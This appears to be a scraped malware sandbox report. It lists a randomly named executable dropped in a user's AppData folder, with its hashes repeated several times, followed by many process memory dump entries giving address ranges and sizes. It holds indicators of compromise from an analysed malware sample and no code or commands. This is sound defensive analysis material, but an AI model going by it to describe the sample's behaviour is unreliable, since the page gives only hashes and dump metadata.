C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
C:\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
ccdaf599c41d0253c08b37f01573d711

SHA1
dcb4083593a003394807b27beb618e3745cfecac

SHA256
8f91447ccc4587c311d1c2eb006dcd8a3a086162773bc6fea59991cab1d3e2ab

SHA512
3a293da8ff9cdf46331c58830cc13b213cd57cf4b31de04883f3f3bcc3fc670e8f1eb4fd2648664bd6f45da8354af179275f66b9cffbf356ac0cf1537a92dce0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
ccdaf599c41d0253c08b37f01573d711

SHA1
dcb4083593a003394807b27beb618e3745cfecac

SHA256
8f91447ccc4587c311d1c2eb006dcd8a3a086162773bc6fea59991cab1d3e2ab

SHA512
3a293da8ff9cdf46331c58830cc13b213cd57cf4b31de04883f3f3bcc3fc670e8f1eb4fd2648664bd6f45da8354af179275f66b9cffbf356ac0cf1537a92dce0

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Roaming\KLcaCYuAidZMbBJ.exe
MD5
77e9f5464c103f8fedf6ae500d87dd32

SHA1
63ac44a904971f265decc404583bd3912c31cf02

SHA256
7b40c9c16df4b35ae04076a8afd38c4fe4bf5525bb388ea3871ec2371fa9e049

SHA512
4488ffcb12abd71d0e25ba10655085d5c876ea047a85cb8d02f1280442b998b85e3b8adadcd3a5e835b062fd27953fb05dc9a4c96e7f4cbe7869812a65fa2f6e

Download Submit
memory/792-158-0x0000000000190000-0x00000000001A4000-memory.dmp

Filesize
80KB

Download
memory/792-157-0x0000000000970000-0x0000000000C73000-memory.dmp

Filesize
3.0MB

Download
memory/792-152-0x000000000041EAF0-mapping.dmp

Download
memory/1016-174-0x0000000000000000-mapping.dmp

Download
memory/1132-172-0x0000000000000000-mapping.dmp

Download
memory/1132-177-0x00000000000F0000-0x000000000011E000-memory.dmp

Filesize
184KB

Download
memory/1132-176-0x00000000009B0000-0x00000000009C8000-memory.dmp

Filesize
96KB

Download
memory/1132-178-0x0000000001F60000-0x0000000002263000-memory.dmp

Filesize
3.0MB

Download
memory/1196-159-0x0000000003D00000-0x0000000003DC5000-memory.dmp

Filesize
788KB

Download
memory/1196-167-0x0000000006490000-0x00000000065C2000-memory.dmp

Filesize
1.2MB

Download
memory/1196-180-0x0000000006F40000-0x00000000070CE000-memory.dmp

Filesize
1.6MB

Download
memory/1196-156-0x0000000006D20000-0x0000000006EA5000-memory.dmp

Filesize
1.5MB

Download
memory/1196-186-0x0000000004A30000-0x0000000004AEA000-memory.dmp

Filesize
744KB

Download
memory/1224-128-0x0000000000000000-mapping.dmp

Download
memory/1224-138-0x0000000000380000-0x000000000038B000-memory.dmp

Filesize
44KB

Download
memory/1224-136-0x0000000004BF0000-0x0000000004BF1000-memory.dmp

Filesize
4KB

Download
memory/1372-110-0x0000000004B70000-0x0000000004B71000-memory.dmp

Filesize
4KB

Download
memory/1372-95-0x0000000000000000-mapping.dmp

Download
memory/1372-124-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/1372-111-0x0000000004B72000-0x0000000004B73000-memory.dmp

Filesize
4KB

Download
memory/1372-101-0x0000000004BB0000-0x0000000004BB1000-memory.dmp

Filesize
4KB

Download
memory/1372-100-0x0000000000EE0000-0x0000000000EE1000-memory.dmp

Filesize
4KB

Download
memory/1372-106-0x0000000001290000-0x0000000001291000-memory.dmp

Filesize
4KB

Download
memory/1372-108-0x00000000028D0000-0x00000000028D1000-memory.dmp

Filesize
4KB

Download
memory/1384-126-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

Download
memory/1384-97-0x0000000000000000-mapping.dmp

Download
memory/1384-112-0x0000000004900000-0x0000000004901000-memory.dmp

Filesize
4KB

Download
memory/1384-113-0x0000000004902000-0x0000000004903000-memory.dmp

Filesize
4KB

Download
memory/1552-137-0x0000000004F30000-0x0000000004F31000-memory.dmp

Filesize
4KB

Download
memory/1552-131-0x0000000000000000-mapping.dmp

Download
memory/1560-68-0x0000000004862000-0x0000000004863000-memory.dmp

Filesize
4KB

Download
memory/1560-86-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1560-65-0x00000000022F0000-0x00000000022F1000-memory.dmp

Filesize
4KB

Download
memory/1560-87-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/1560-66-0x00000000048F0000-0x00000000048F1000-memory.dmp

Filesize
4KB

Download
memory/1560-67-0x0000000004860000-0x0000000004861000-memory.dmp

Filesize
4KB

Download
memory/1560-79-0x00000000057E0000-0x00000000057E1000-memory.dmp

Filesize
4KB

Download
memory/1560-69-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/1560-70-0x00000000053A0000-0x00000000053A1000-memory.dmp

Filesize
4KB

Download
memory/1560-63-0x0000000000000000-mapping.dmp

Download
memory/1560-88-0x0000000006370000-0x0000000006371000-memory.dmp

Filesize
4KB

Download
memory/1560-73-0x0000000005690000-0x0000000005691000-memory.dmp

Filesize
4KB

Download
memory/1560-78-0x0000000005740000-0x0000000005741000-memory.dmp

Filesize
4KB

Download
memory/1564-144-0x00000000006A0000-0x00000000006D6000-memory.dmp

Filesize
216KB

Download
memory/1564-93-0x00000000002C0000-0x00000000002C1000-memory.dmp

Filesize
4KB

Download
memory/1564-90-0x0000000000000000-mapping.dmp

Download
memory/1564-109-0x0000000004BD0000-0x0000000004BD1000-memory.dmp

Filesize
4KB

Download
memory/1564-143-0x00000000052A0000-0x000000000531B000-memory.dmp

Filesize
492KB

Download
memory/1600-146-0x000000000041EAF0-mapping.dmp

Download
memory/1600-154-0x0000000000840000-0x0000000000B43000-memory.dmp

Filesize
3.0MB

Download
memory/1600-155-0x00000000001A0000-0x00000000001B4000-memory.dmp

Filesize
80KB

Download
memory/1600-145-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/1640-163-0x000000000041EAF0-mapping.dmp

Download
memory/1640-165-0x0000000000B50000-0x0000000000E53000-memory.dmp

Filesize
3.0MB

Download
memory/1640-179-0x0000000000190000-0x00000000001A4000-memory.dmp

Filesize
80KB

Download
memory/1640-166-0x0000000000140000-0x0000000000154000-memory.dmp

Filesize
80KB

Download
memory/1760-141-0x0000000000000000-mapping.dmp

Download
memory/1760-142-0x000007FEFB761000-0x000007FEFB763000-memory.dmp

Filesize
8KB

Download
memory/1960-168-0x0000000000000000-mapping.dmp

Download
memory/1960-175-0x00000000020A0000-0x00000000023A3000-memory.dmp

Filesize
3.0MB

Download
memory/1960-170-0x0000000000770000-0x000000000077E000-memory.dmp

Filesize
56KB

Download
memory/1960-171-0x0000000000090000-0x00000000000BE000-memory.dmp

Filesize
184KB

Download
memory/1960-181-0x0000000001DF0000-0x0000000001E83000-memory.dmp

Filesize
588KB

Download
memory/1984-60-0x000000006FD51000-0x000000006FD53000-memory.dmp

Filesize
8KB

Download
memory/1984-62-0x0000000075AD1000-0x0000000075AD3000-memory.dmp

Filesize
8KB

Download
memory/1984-59-0x00000000722D1000-0x00000000722D4000-memory.dmp

Filesize
12KB

Download
memory/1984-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2036-182-0x0000000000000000-mapping.dmp

Download
memory/2036-185-0x00000000000D0000-0x00000000000FE000-memory.dmp

Filesize
184KB

Download
memory/2036-184-0x0000000000770000-0x000000000077E000-memory.dmp

Filesize
56KB

Download
memory/2036-187-0x0000000002090000-0x0000000002393000-memory.dmp

Filesize
3.0MB

Download